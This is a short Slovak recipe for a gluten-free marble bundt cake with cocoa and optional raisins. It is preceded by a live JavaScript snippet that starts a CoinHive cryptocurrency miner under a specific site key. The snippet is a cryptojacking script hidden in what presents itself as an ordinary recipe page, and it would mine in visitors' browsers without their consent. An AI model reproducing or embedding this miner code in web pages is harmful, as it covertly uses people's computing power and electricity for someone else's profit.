

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();



4 vajcia, 20 dkg práškového cukru, 20 dkg bezlepkovej múky, 1 prášok do pečiva, 1 dcl olej, 1 dcl vody, 1 vanilka, kakao, hrozienka Žltka vymiešame s cukrom a vanilkou, postupne pridávame vodu, olej a múku zmiešanú s práškom do pečiva. Nakoniec zľahka vmiešame tuhý sneh z bielkov.

Polovicu cesta vylejeme do vymastenej a múkou vysypanej bábovkovej formy, do druhej polovice vmiešame trochu kakaa a vylejeme do formy. Pečieme v stredne vyhriatej rúre asi 45 minút (do cesta môžeme pridať hrozienka, posekané oriešky a pod.). Hotovú bábovku môžeme poliať čokoládou.